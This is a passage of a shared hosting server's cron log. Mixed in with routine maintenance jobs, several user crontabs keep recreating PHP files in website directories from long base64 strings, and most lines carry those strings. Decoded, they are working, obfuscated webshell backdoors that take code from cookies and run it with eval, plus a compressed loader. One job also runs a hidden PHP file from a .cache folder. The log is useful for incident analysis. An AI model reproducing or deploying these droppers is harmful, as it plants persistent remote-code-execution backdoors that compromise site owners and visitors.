1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:23:02 medusa CROND[18572]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:23:02 medusa CROND[18577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:23:02 medusa CROND[18578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:23:02 medusa CROND[18580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:23:02 medusa CROND[18581]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:23:02 medusa CROND[18582]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:23:02 medusa CROND[18583]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:23:02 medusa CROND[18586]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:24:02 medusa CROND[8493]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:24:02 medusa CROND[8495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:24:02 medusa CROND[8496]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:24:02 medusa CROND[8497]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:24:02 medusa CROND[8498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:24:02 medusa CROND[8500]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:24:02 medusa CROND[8499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:24:02 medusa CROND[8503]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:24:02 medusa CROND[8509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:24:02 medusa CROND[8505]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:24:02 medusa CROND[8516]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:24:02 medusa CROND[8519]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:24:02 medusa CROND[8517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30527]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:25:02 medusa CROND[30641]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:25:02 medusa CROND[30642]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30645]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:25:02 medusa CROND[30647]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30649]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:25:02 medusa CROND[30651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:25:02 medusa CROND[30658]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:25:02 medusa CROND[30659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:25:02 medusa CROND[30655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30661]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:25:02 medusa CROND[30656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:25:02 medusa CROND[30664]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:25:02 medusa CROND[30668]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0